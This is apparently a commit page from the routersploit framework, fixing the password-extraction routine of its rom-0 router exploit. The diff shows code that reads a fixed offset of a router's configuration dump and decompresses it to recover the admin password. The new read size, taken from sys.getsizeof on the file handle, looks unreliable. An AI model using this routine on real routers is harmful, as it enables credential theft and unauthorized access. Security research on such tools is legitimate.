Commit 2dd280df by 0BuRner Committed by Mariusz Kupidura

rom-0 exploit : fix password extraction bug (#312)

* rom-0 exploit : fix password extraction bug

* Update rom0.py
parent 91310b33
import io import io
import re import re
import sys
from routersploit import ( from routersploit import (
exploits, exploits,
...@@ -75,16 +76,9 @@ class Exploit(exploits.Exploit): ...@@ -75,16 +76,9 @@ class Exploit(exploits.Exploit):
@staticmethod @staticmethod
def extract_password(fhandle): def extract_password(fhandle):
fpos = 8568 fpos = 8568
fend = 8788
chunk = "*"
amount = 221
fhandle.seek(fpos) fhandle.seek(fpos)
while fpos < fend: chunk = fhandle.read(sys.getsizeof(fhandle))
if fend - fpos < amount:
amount = fend - fpos
chunk = fhandle.read(amount)
fpos += len(chunk)
# Decompress chunk # Decompress chunk
result, window = lzs.LZSDecompress(chunk) result, window = lzs.LZSDecompress(chunk)
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment